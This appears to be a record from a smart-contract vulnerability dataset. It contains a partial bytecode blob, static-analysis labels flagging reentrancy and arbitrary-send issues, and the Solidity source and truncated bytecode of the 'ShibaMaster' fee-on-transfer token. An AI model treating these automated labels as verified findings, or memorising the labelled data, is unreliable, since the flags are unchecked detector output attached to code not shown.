1161480159061116757506014546001600160a01b03848116911614155b15611174575060006111ee565b6014546001600160a01b03858116911614801561119f57506013546001600160a01b03848116911614155b156111b157600854600c55600954600d555b6014546001600160a01b0384811691161480156111dc57506013546001600160a01b03858116911614155b156111ee57600a54600c55600b54600d555b610a7b8484848461147b565b6000818484111561121e5760405162461bcd60e51b81526004016106289190611a35565b50600061122b8486611cdb565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610699573d6000803e3d6000fd5b60006006548211156112d55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610628565b60006112df6114a9565b90506112eb83826114cc565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133a5761133a611c7c565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138e57600080fd5b505afa1580156113a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c69190611cf2565b816001815181106113d9576113d9611c7c565b6001600160a01b0392831660209182029290920101526013546113ff9130911684610b9a565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611438908590600090869030904290600401611d0f565b600060405180830381600087803b15801561145257600080fd5b505af1158015611466573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806114885761148861150e565b61149384848461153c565b80610a7b57610a7b600e54600c55600f54600d55565b60008060006114b6611633565b90925090506114c582826114cc565b9250505090565b60006112eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611677565b600c5415801561151e5750600d54155b1561152557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154e876116a5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115809087611702565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115af9086611744565b6001600160a01b0389166000908152600260205260409020556115d1816117a3565b6115db84836117ed565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162091815260200190565b60405180910390a3505050505050505050565b600654600090819069d3c21bcecceda100000061165082826114cc565b82101561166e5750506006549269d3c21bcecceda100000092509050565b90939092509050565b600081836116985760405162461bcd60e51b81526004016106289190611a35565b50600061122b8486611d80565b60008060008060008060008060006116c28a600c54600d54611811565b92509250925060006116d26114a9565b905060008060006116e58e878787611866565b919e509c509a509598509396509194505050505091939550919395565b60006112eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111fa565b6000806117518385611cc3565b9050838110156112eb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b60006117ad6114a9565b905060006117bb83836118b6565b306000908152600260205260409020549091506117d89082611744565b30600090815260026020526040902055505050565b6006546117fa9083611702565b60065560075461180a9082611744565b6007555050565b600080808061182b606461182589896118b6565b906114cc565b9050600061183e60646118258a896118b6565b90506000611856826118508b86611702565b90611702565b9992985090965090945050505050565b600080808061187588866118b6565b9050600061188388876118b6565b9050600061189188886118b6565b905060006118a3826118508686611702565b939b939a50919850919650505050505050565b6000826118c5575060006106ae565b60006118d18385611da2565b9050826118de8583611d80565b146112eb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107da57600080fd5b803561196b8161194b565b919050565b6000602080838503121561198357600080fd5b823567ffffffffffffffff8082111561199b57600080fd5b818501915085601f8301126119af57600080fd5b8135818111156119c1576119c1611935565b8060051b604051601f19603f830116810181811085821117156119e6576119e6611935565b604052918252848201925083810185019188831115611a0457600080fd5b938501935b82851015611a2957611a1a85611960565b84529385019392850192611a09565b98975050505050505050565b600060208083528351808285015260005b81811015611a6257858101830151858201604001528201611a46565b81811115611a74576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9d57600080fd5b8235611aa88161194b565b946020939093013593505050565b600080600060608486031215611acb57600080fd5b8335611ad68161194b565b92506020840135611ae68161194b565b929592945050506040919091013590565b600060208284031215611b0957600080fd5b81356112eb8161194b565b8035801515811461196b57600080fd5b600060208284031215611b3657600080fd5b6112eb82611b14565b600060208284031215611b5157600080fd5b5035919050565b60008060008060808587031215611b6e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9f57600080fd5b833567ffffffffffffffff80821115611bb757600080fd5b818601915086601f830112611bcb57600080fd5b813581811115611bda57600080fd5b8760208260051b8501011115611bef57600080fd5b602092830195509350611c059186019050611b14565b90509250925092565b60008060408385031215611c2157600080fd5b8235611c2c8161194b565b91506020830135611c3c8161194b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cbc57611cbc611c92565b5060010190565b60008219821115611cd657611cd6611c92565b500190565b600082821015611ced57611ced611c92565b500390565b600060208284031215611d0457600080fd5b81516112eb8161194b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d5f5784516001600160a01b031683529383019391830191600101611d3a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dbc57611dbc611c92565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122047490a4538571083fa39dbb134a3e36aa579c8539ac3874b494d316fb3bfade664736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,922 |
0x2157d91ccdd4436d920f362d3b4c842394386c78
|
/**
*Submitted for verification at Etherscan.io on 2022-04-13
*/
// SPDX-License-Identifier: MIT
/**
ShibaMaster
Web: https://www.shibamaster.xyz/
Twitter: https://twitter.com/ShibaMasterETH
Tokenomics
5% Buy
5% Sell
1% LP
2% ShibMaster Burn
2% External Burn
Refer to website / litepaper for detailed tokenomics on burn
*/
pragma solidity ^0.8.13;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external payable;
}
contract ShibaMaster is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
string private constant _name = "ShibaMaster";
string private constant _symbol = "ShibaM ";
uint8 private constant _decimals = 9;
uint256 private _tTotal = 1000000000000 * 10**_decimals;
uint256 public _maxWalletAmount = 10000000000 * 10**_decimals;
uint256 public _maxTxAmount = 10000000000 * 10**_decimals;
uint256 public swapTokenAtAmount = 1250000000 * 10**_decimals;
address public liquidityReceiver;
uint256 public totalTokenBurned;
mapping (address => uint256) private _erc20TokenBurned;
struct BuyFees{
uint256 liquidity;
uint256 selfBurn;
uint256 externalBurn;
}
struct SellFees{
uint256 liquidity;
uint256 selfBurn;
uint256 externalBurn;
}
BuyFees public buyFee;
SellFees public sellFee;
uint256 private liquidityFee;
uint256 private selfBurnFee;
uint256 private externalBurnFee;
bool private swapping;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
constructor () {
balances[_msgSender()] = _tTotal;
buyFee.liquidity = 4;
buyFee.selfBurn = 2;
buyFee.externalBurn = 2;
sellFee.liquidity = 4;
sellFee.selfBurn = 2;
sellFee.externalBurn = 2;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
liquidityReceiver = msg.sender;
_isExcludedFromFee[msg.sender] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
receive() external payable {}
function ERC20TokenBurned(address tokenAddress) public view returns (uint256) {
return _erc20TokenBurned[tokenAddress];
}
function takeBuyFees(uint256 amount, address from) private returns (uint256) {
uint256 liquidityFeeToken = amount * buyFee.liquidity / 100;
uint256 selfBurnFeeToken = amount * buyFee.selfBurn / 100;
uint256 externalBurnFeeToken = amount * buyFee.externalBurn / 100;
balances[address(this)] += liquidityFeeToken + externalBurnFeeToken;
balances[address(0x00)] += selfBurnFeeToken;
_tTotal -= selfBurnFeeToken;
totalTokenBurned += selfBurnFeeToken;
emit Transfer (from, address(0x000), selfBurnFeeToken);
emit Transfer (from, address(this), externalBurnFeeToken + liquidityFeeToken);
return (amount -liquidityFeeToken -selfBurnFeeToken -externalBurnFeeToken);
}
function takeSellFees(uint256 amount, address from) private returns (uint256) {
uint256 liquidityFeeToken = amount * sellFee.liquidity / 100;
uint256 selfBurnFeeToken = amount * sellFee.selfBurn / 100;
uint256 externalBurnFeeToken = amount * sellFee.externalBurn / 100;
balances[address(this)] += liquidityFeeToken + externalBurnFeeToken;
balances[address(0x00)] += selfBurnFeeToken;
_tTotal -= selfBurnFeeToken;
totalTokenBurned += selfBurnFeeToken;
emit Transfer (from, address(0x000), selfBurnFeeToken);
emit Transfer (from, address(this), externalBurnFeeToken + liquidityFeeToken);
return (amount -liquidityFeeToken -selfBurnFeeToken -externalBurnFeeToken);
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setBuyFees(uint256 newLiquidityFee, uint256 newSelfBurnFee, uint256 newExternalBurnFee) public onlyOwner {
require(newLiquidityFee + newSelfBurnFee + newExternalBurnFee <= 25, "Can't set buyFee above 25%");
buyFee.liquidity = newLiquidityFee;
buyFee.selfBurn = newSelfBurnFee;
buyFee.externalBurn= newExternalBurnFee;
}
function setSellFees(uint256 newLiquidityFee, uint256 newSelfBurnFee, uint256 newExternalBurnFee) public onlyOwner {
require(newLiquidityFee + newSelfBurnFee + newExternalBurnFee <= 25, "Can't set sellFee above 25%");
sellFee.liquidity = newLiquidityFee;
sellFee.selfBurn = newSelfBurnFee;
sellFee.externalBurn= newExternalBurnFee;
}
function setMaxTxPercent(uint256 newMaxTxPercent) public onlyOwner {
require(newMaxTxPercent >= 1, "MaxTx atleast 1% or higher");
_maxTxAmount = _tTotal.mul(newMaxTxPercent).div(10**2);
}
function setMaxWalletPercent(uint256 newMaxWalletPercent) public onlyOwner {
require(newMaxWalletPercent >= 1, "MaxWallet atleast 1% or higher");
_maxWalletAmount = _tTotal.mul(newMaxWalletPercent).div(10**2);
}
function setSwapTokenAtAmountPermille(uint256 newSwapTokenAmountPermille) public onlyOwner {
swapTokenAtAmount = _tTotal.mul(newSwapTokenAmountPermille).div(10**3);
}
function buyAndBurnERC20Token(address tokenAddress, uint256 ethAmount) public onlyOwner {
swapETHForExternalTokens(tokenAddress, ethAmount);
}
function setLiquidityReceiver(address newLiqReceiver) public onlyOwner {
liquidityReceiver = newLiqReceiver;
_isExcludedFromFee[newLiqReceiver] = true;
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
balances[from] -= amount;
uint256 transferAmount = amount;
bool takeFee;
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
takeFee = true;
}
if(takeFee){
if(to != uniswapV2Pair){
require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount");
require(balanceOf(to) + amount <= _maxWalletAmount, "Transfer amount exceeds the maxWalletAmount.");
transferAmount = takeBuyFees(amount, from);
}
if(from != uniswapV2Pair){
require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount");
transferAmount = takeSellFees(amount, from);
if (balanceOf(address(this)) >= swapTokenAtAmount && !swapping) {
swapping = true;
swapBack();
swapping = false;
}
}
if(to != uniswapV2Pair && from != uniswapV2Pair){
require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount");
require(balanceOf(to) + amount <= _maxWalletAmount, "Transfer amount exceeds the maxWalletAmount.");
}
}
balances[to] += transferAmount;
emit Transfer(from, to, transferAmount);
}
function swapBack() private {
uint256 contractBalance = swapTokenAtAmount;
uint256 liquidityTokens = contractBalance * (buyFee.liquidity + sellFee.liquidity) / (buyFee.externalBurn + buyFee.liquidity + sellFee.externalBurn + sellFee.liquidity);
uint256 externalBurnTokens = contractBalance - liquidityTokens;
uint256 totalTokensToSwap = liquidityTokens + externalBurnTokens;
uint256 tokensForLiquidity = liquidityTokens.div(2);
uint256 amountToSwapForETH = contractBalance.sub(tokensForLiquidity);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForLiquidity = ethBalance.mul(liquidityTokens).div(totalTokensToSwap);
addLiquidity(tokensForLiquidity, ethForLiquidity);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function swapETHForExternalTokens(address tokenToBuy, uint256 amount) private {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = tokenToBuy;
IERC20(uniswapV2Router.WETH()).approve(address(uniswapV2Router), amount);
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
0,
path,
address(this),
block.timestamp
);
uint256 tokenReceived = IERC20(tokenToBuy).balanceOf(address(this));
_erc20TokenBurned[tokenToBuy] += tokenReceived;
IERC20(tokenToBuy).transfer(address(0xdead), tokenReceived);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH {value: ethAmount} (
address(this),
tokenAmount,
0,
0,
liquidityReceiver,
block.timestamp
);
}
}
|
0x6080604052600436106101fd5760003560e01c80634da64ddb1161010d57806395d89b41116100a0578063d543dbeb1161006f578063d543dbeb14610617578063d75224da14610637578063dd62ed3e1461066d578063ea2f0b37146106b3578063f2fde38b146106d357600080fd5b806395d89b4114610587578063a457c2d7146105b7578063a9059cbb146105d7578063b57e3682146105f757600080fd5b8063715018a6116100dc578063715018a61461051e5780637d1db4a51461053357806382bf293c146105495780638da5cb5b1461056957600080fd5b80634da64ddb146104795780635342acb4146104995780636c0a24eb146104d257806370a08231146104e857600080fd5b80632221466c11610190578063313ce5671161015f578063313ce567146103de57806339509351146103fa578063437823ec1461041a578063470624021461043a57806349bd5a5e1461045957600080fd5b80632221466c1461034e57806323b872dd14610364578063264d26dd146103845780632b14ca56146103a457600080fd5b80630db180b4116101cc5780630db180b4146102c15780630f683e90146102e15780631694505e1461030157806318160ddd1461033957600080fd5b806303e403b01461020957806306fdde0314610232578063095ea7b31461026f5780630d075d9c1461029f57600080fd5b3661020457005b600080fd5b34801561021557600080fd5b5061021f60095481565b6040519081526020015b60405180910390f35b34801561023e57600080fd5b5060408051808201909152600b81526a29b434b130a6b0b9ba32b960a91b60208201525b6040516102299190611be2565b34801561027b57600080fd5b5061028f61028a366004611c4f565b6106f3565b6040519015158152602001610229565b3480156102ab57600080fd5b506102bf6102ba366004611c7b565b61070a565b005b3480156102cd57600080fd5b506102bf6102dc366004611c4f565b6107b0565b3480156102ed57600080fd5b506102bf6102fc366004611c7b565b6107e8565b34801561030d57600080fd5b50600154610321906001600160a01b031681565b6040516001600160a01b039091168152602001610229565b34801561034557600080fd5b5060065461021f565b34801561035a57600080fd5b5061021f600b5481565b34801561037057600080fd5b5061028f61037f366004611ca7565b610885565b34801561039057600080fd5b50600a54610321906001600160a01b031681565b3480156103b057600080fd5b506010546011546012546103c392919083565b60408051938452602084019290925290820152606001610229565b3480156103ea57600080fd5b5060405160098152602001610229565b34801561040657600080fd5b5061028f610415366004611c4f565b6108d7565b34801561042657600080fd5b506102bf610435366004611ce8565b61090e565b34801561044657600080fd5b50600d54600e54600f546103c392919083565b34801561046557600080fd5b50600254610321906001600160a01b031681565b34801561048557600080fd5b506102bf610494366004611d05565b61095c565b3480156104a557600080fd5b5061028f6104b4366004611ce8565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156104de57600080fd5b5061021f60075481565b3480156104f457600080fd5b5061021f610503366004611ce8565b6001600160a01b031660009081526003602052604090205490565b34801561052a57600080fd5b506102bf6109ad565b34801561053f57600080fd5b5061021f60085481565b34801561055557600080fd5b506102bf610564366004611d05565b610a21565b34801561057557600080fd5b506000546001600160a01b0316610321565b34801561059357600080fd5b50604080518082019091526007815266029b434b130a6960cd1b6020820152610262565b3480156105c357600080fd5b5061028f6105d2366004611c4f565b610abc565b3480156105e357600080fd5b5061028f6105f2366004611c4f565b610af3565b34801561060357600080fd5b506102bf610612366004611ce8565b610b00565b34801561062357600080fd5b506102bf610632366004611d05565b610b64565b34801561064357600080fd5b5061021f610652366004611ce8565b6001600160a01b03166000908152600c602052604090205490565b34801561067957600080fd5b5061021f610688366004611d1e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156106bf57600080fd5b506102bf6106ce366004611ce8565b610bff565b3480156106df57600080fd5b506102bf6106ee366004611ce8565b610c4a565b6000610700338484610d34565b5060015b92915050565b6000546001600160a01b0316331461073d5760405162461bcd60e51b815260040161073490611d57565b60405180910390fd5b60198161074a8486611da2565b6107549190611da2565b11156107a25760405162461bcd60e51b815260206004820152601a60248201527f43616e277420736574206275794665652061626f7665203235250000000000006044820152606401610734565b600d92909255600e55600f55565b6000546001600160a01b031633146107da5760405162461bcd60e51b815260040161073490611d57565b6107e48282610e58565b5050565b6000546001600160a01b031633146108125760405162461bcd60e51b815260040161073490611d57565b60198161081f8486611da2565b6108299190611da2565b11156108775760405162461bcd60e51b815260206004820152601b60248201527f43616e2774207365742073656c6c4665652061626f76652032352500000000006044820152606401610734565b601092909255601155601255565b60006108928484846111a3565b6001600160a01b0384166000908152600460209081526040808320338085529252909120546108cd9186916108c8908690611dba565b610d34565b5060019392505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916107009185906108c8908690611da2565b6000546001600160a01b031633146109385760405162461bcd60e51b815260040161073490611d57565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b031633146109865760405162461bcd60e51b815260040161073490611d57565b6109a76103e86109a18360065461158990919063ffffffff16565b90611612565b60095550565b6000546001600160a01b031633146109d75760405162461bcd60e51b815260040161073490611d57565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a4b5760405162461bcd60e51b815260040161073490611d57565b6001811015610a9c5760405162461bcd60e51b815260206004820152601e60248201527f4d617857616c6c65742061746c65617374203125206f722068696768657200006044820152606401610734565b610ab660646109a18360065461158990919063ffffffff16565b60075550565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916107009185906108c8908690611dba565b60006107003384846111a3565b6000546001600160a01b03163314610b2a5760405162461bcd60e51b815260040161073490611d57565b600a80546001600160a01b039092166001600160a01b0319909216821790556000908152600560205260409020805460ff19166001179055565b6000546001600160a01b03163314610b8e5760405162461bcd60e51b815260040161073490611d57565b6001811015610bdf5760405162461bcd60e51b815260206004820152601a60248201527f4d617854782061746c65617374203125206f72206869676865720000000000006044820152606401610734565b610bf960646109a18360065461158990919063ffffffff16565b60085550565b6000546001600160a01b03163314610c295760405162461bcd60e51b815260040161073490611d57565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b03163314610c745760405162461bcd60e51b815260040161073490611d57565b6001600160a01b038116610cd95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610734565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610734565b6001600160a01b038216610df75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610734565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6040805160028082526060820183526000926020830190803683375050600154604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015610ec2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee69190611dd1565b81600081518110610ef957610ef9611dee565b60200260200101906001600160a01b031690816001600160a01b0316815250508281600181518110610f2d57610f2d611dee565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610faa9190611dd1565b60015460405163095ea7b360e01b81526001600160a01b0391821660048201526024810185905291169063095ea7b3906044016020604051808303816000875af1158015610ffc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110209190611e04565b5060015460405163b6f9de9560e01b81526001600160a01b039091169063b6f9de9590849061105a90600090869030904290600401611e6a565b6000604051808303818588803b15801561107357600080fd5b505af1158015611087573d6000803e3d6000fd5b50506040516370a0823160e01b8152306004820152600093506001600160a01b03871692506370a082319150602401602060405180830381865afa1580156110d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f79190611e9f565b6001600160a01b0385166000908152600c6020526040812080549293508392909190611124908490611da2565b909155505060405163a9059cbb60e01b815261dead6004820152602481018290526001600160a01b0385169063a9059cbb906044016020604051808303816000875af1158015611178573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119c9190611e04565b5050505050565b6001600160a01b0383166112075760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610734565b6001600160a01b0382166112695760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610734565b600081116112cb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610734565b6001600160a01b038316600090815260036020526040812080548392906112f3908490611dba565b90915550506001600160a01b03831660009081526005602052604081205482919060ff1615801561133d57506001600160a01b03841660009081526005602052604090205460ff16155b15611346575060015b8015611506576002546001600160a01b038581169116146113db576008548311156113835760405162461bcd60e51b815260040161073490611eb8565b600754836113a6866001600160a01b031660009081526003602052604090205490565b6113b09190611da2565b11156113ce5760405162461bcd60e51b815260040161073490611eff565b6113d88386611654565b91505b6002546001600160a01b03868116911614611468576008548311156114125760405162461bcd60e51b815260040161073490611eb8565b61141c838661180a565b6009543060009081526003602052604090205491935011158015611443575060165460ff16155b15611468576016805460ff1916600117905561145d611862565b6016805460ff191690555b6002546001600160a01b0385811691161480159061149457506002546001600160a01b03868116911614155b15611506576008548311156114bb5760405162461bcd60e51b815260040161073490611eb8565b600754836114de866001600160a01b031660009081526003602052604090205490565b6114e89190611da2565b11156115065760405162461bcd60e51b815260040161073490611eff565b6001600160a01b0384166000908152600360205260408120805484929061152e908490611da2565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161157a91815260200190565b60405180910390a35050505050565b60008260000361159b57506000610704565b60006115a78385611f4b565b9050826115b48583611f6a565b1461160b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610734565b9392505050565b600061160b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611931565b6000806064600d600001548561166a9190611f4b565b6116749190611f6a565b905060006064600d600101548661168b9190611f4b565b6116959190611f6a565b905060006064600d60020154876116ac9190611f4b565b6116b69190611f6a565b90506116c28184611da2565b30600090815260036020526040812080549091906116e1908490611da2565b9091555050600080805260036020527f3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff8054849290611721908490611da2565b92505081905550816006600082825461173a9190611dba565b9250508190555081600b60008282546117539190611da2565b90915550506040518281526000906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3306001600160a01b0386167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117cf8685611da2565b60405190815260200160405180910390a380826117ec8589611dba565b6117f69190611dba565b6118009190611dba565b9695505050505050565b6000806064601060000154856118209190611f4b565b61182a9190611f6a565b905060006064601060010154866118419190611f4b565b61184b9190611f6a565b905060006064601060020154876116ac9190611f4b565b600954601054601254600d54600f54600093929161187f91611da2565b6118899190611da2565b6118939190611da2565b601054600d546118a39190611da2565b6118ad9084611f4b565b6118b79190611f6a565b905060006118c